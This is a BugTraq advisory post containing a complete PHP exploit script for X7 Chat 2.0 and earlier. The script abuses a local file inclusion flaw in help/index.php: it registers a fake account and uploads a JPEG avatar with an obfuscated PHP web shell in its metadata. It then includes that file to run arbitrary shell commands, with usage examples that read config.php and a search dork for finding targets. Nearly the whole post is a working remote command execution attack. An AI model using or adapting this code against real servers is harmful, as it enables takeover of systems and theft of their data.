BugTraq
X7 Chat <=2.0 remote commands execution May 02 2006 06:36AM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "X7 Chat <=2.0 \"help_file\" arbitrary local inclusion\r\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\r\n";

echo "site: http://retrogod.altervista.org\r\n";

echo "-> works regardless of magic_quotes_gpc settings\r\n";

echo " if avatar uploads are enabled (default)\r\n";

echo "dork: intitle:\"X7 Chat Help Center\" | \"Powered By X7 Chat\"\r\n\r\n";

if ($argc<4) {

echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";

echo "host: target server (ip/hostname)\r\n";

echo "path: path to X7\r\n";

echo "cmd: a shell command\r\n";

echo "Options:\r\n";

echo " -p[port]: specify a port other than 80\r\n";

echo " -P[ip:port]: specify a proxy\r\n";

echo "Examples:\r\n";

echo "php ".$argv[0]." localhost /X7/ cat ./../config.php\r\n";

echo "php ".$argv[0]." localhost /X7/ ls -la -p81\r\n";

echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";

die;

}

/*

software site: http://www.x7chat.com/

description: "X7 Chat is free, open source, software written in PHP"

vulnerable code in help/index.php at lines 32-37:

...

if(!isset($_GET['help_file']) || !@is_file("./{$_GET['help_file']}")){

$_GET['help_file'] = "main";

}

// Load the help definitions

include("./{$_GET['help_file']}");

...

so, you can view/include all files on target system, poc:

http://[target]/[path]/help/index.php?help_file=../../../../../../etc/pa
sswd

this tool upload an avatar with php code as EXIF metadata content, then:

http://[target]/[path]/help/index.php?help_file=../uploads/avatar_[usern
ame].jpeg&cmd=ls%20-la

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

function make_seed()

{

list($usec, $sec) = explode(' ', microtime());

return (float) $sec + ((float) $usec * 100000);

}

$host=$argv[1];

$path=$argv[2];

$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

srand(make_seed());

$v = rand(1,99);

echo "step 1 -> register...\r\n";

$data="username=suntzu".$v;

$data.="&pass1=suntzu";

$data.="&pass2=suntzu";

$data.="&email=suntzu".$v."@hotmail.com";

$packet ="POST ".$p."index.php?act=register&step=1 HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

#debug

#echo quick_dump($packet);

sendpacketii($packet);

echo "step 2 -> login...\r\n";

$data="dologin=dologin";

$data.="&username=suntzu".$v;

$data.="&password=suntzu";

$packet="POST ".$p."index.php HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

#debug

#echo quick_dump($packet);

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$temp2=explode(" ",$temp[1]);$cookie=$temp2[0];

$temp2=explode(" ",$temp[2]);$cookie.=" ".$temp2[0];

if ($cookie=="") {die("Failed to login...\r\n");}

echo "Cookie -> ".$cookie."\r\n";

echo "step 3 -> upload an avatar...\r\n";

$shell=

chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x00).chr(0xcf).chr(0x3c).ch
r(0x3f).

chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x69).chr(0x66).ch
r(0x20).

chr(0x28).chr(0x67).chr(0x65).chr(0x74).chr(0x5f).chr(0x6d).chr(0x61).ch
r(0x67).

chr(0x69).chr(0x63).chr(0x5f).chr(0x71).chr(0x75).chr(0x6f).chr(0x74).ch
r(0x65).

chr(0x73).chr(0x5f).chr(0x67).chr(0x70).chr(0x63).chr(0x28).chr(0x29).ch
r(0x29).

chr(0x7b).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).ch
r(0x49).

chr(0x45).chr(0x5b).chr(0x27).chr(0x63).chr(0x6d).chr(0x64).chr(0x27).ch
r(0x5d).

chr(0x3d).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).chr(0x73).ch
r(0x6c).

chr(0x61).chr(0x73).chr(0x68).chr(0x65).chr(0x73).chr(0x28).chr(0x24).ch
r(0x5f).

chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).ch
r(0x27).

chr(0x63).chr(0x6d).chr(0x64).chr(0x27).chr(0x5d).chr(0x29).chr(0x3b).ch
r(0x7d).

chr(0x0d).chr(0x0a).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).chr(0x72).ch
r(0x5f).

chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).chr(0x69).ch
r(0x6e).

chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).ch
r(0x69).

chr(0x6e).chr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74).chr(0x28).ch
r(0x22).

chr(0x6d).chr(0x61).chr(0x78).chr(0x5f).chr(0x65).chr(0x78).chr(0x65).ch
r(0x63).

chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).chr(0x5f).chr(0x74).ch
r(0x69).

chr(0x6d).chr(0x65).chr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).ch
r(0x0d).

chr(0x0a).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x22).ch
r(0x35).

chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x22).chr(0x3b).chr(0x0d).ch
r(0x0a).

chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).ch
r(0x75).

chr(0x28).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).ch
r(0x49).

chr(0x45).chr(0x5b).chr(0x22).chr(0x63).chr(0x6d).chr(0x64).chr(0x22).ch
r(0x5d).

chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x65).chr(0x63).chr(0x68).ch
r(0x6f).

chr(0x20).chr(0x22).chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).ch
r(0x22).

chr(0x3b).chr(0x0d).chr(0x0a).chr(0x64).chr(0x69).chr(0x65).chr(0x3b).ch
r(0x0d).

chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).ch
r(0x4a).

chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).ch
r(0x00).

chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).ch
r(0x00).

chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0xff).

chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).ch
r(0x01).

chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).ch
r(0x03).

chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).ch
r(0x01).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x09).

chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).ch
r(0xc4).

chr(0x00).chr(0x14).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x06).chr(0xff).chr(0xc4).chr(0x00).ch
r(0x14).

chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).ch
r(0x01).

chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).ch
r(0x00).

chr(0x3f).chr(0xc1).chr(0xc7).chr(0xdf).chr(0xff).chr(0xd9).chr(0x00).ch
r(0x00);

$data='-----------------------------7d63ba6e09fc

Content-Disposition: form-data; name="MAX_FILE_SIZE"

5242880

-----------------------------7d63ba6e09fc

Content-Disposition: form-data; name="avatar"; filename="whatever.jpg"

Content-Type: image/jpeg

'.$shell.'

-----------------------------7d63ba6e09fc--

';

echo "step 4 -> launch commands...\r\n";

$packet="POST ".$p."index.php?act=usercp&cp_page=upload&uploaded=1 HTTP/1.0\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d63ba6e09fc\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

#debug

#echo quick_dump($packet);

sendpacketii($packet);

$path_to_shell=urlencode("../uploads/avatar_suntzu".$v.".jpeg");

$packet ="GET ".$p."help/index.php?help_file=".$path_to_shell." HTTP/1.0\r\n";

$packet.="User-Agent: Googlebot/2.1\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: cmd=".$cmd."\r\n";

$packet.="Connection: Close\r\n\r\n";

#debug

#echo quick_dump($packet);

sendpacketii($packet);

if (strstr($html,"56789"))

{

echo "Exploit succeeded...\r\n\r\n";

$temp=explode("56789",$html);

echo $temp[1];

die;

}

//if you are here...

echo "Exploit failed...";

?>

[ reply ]


 

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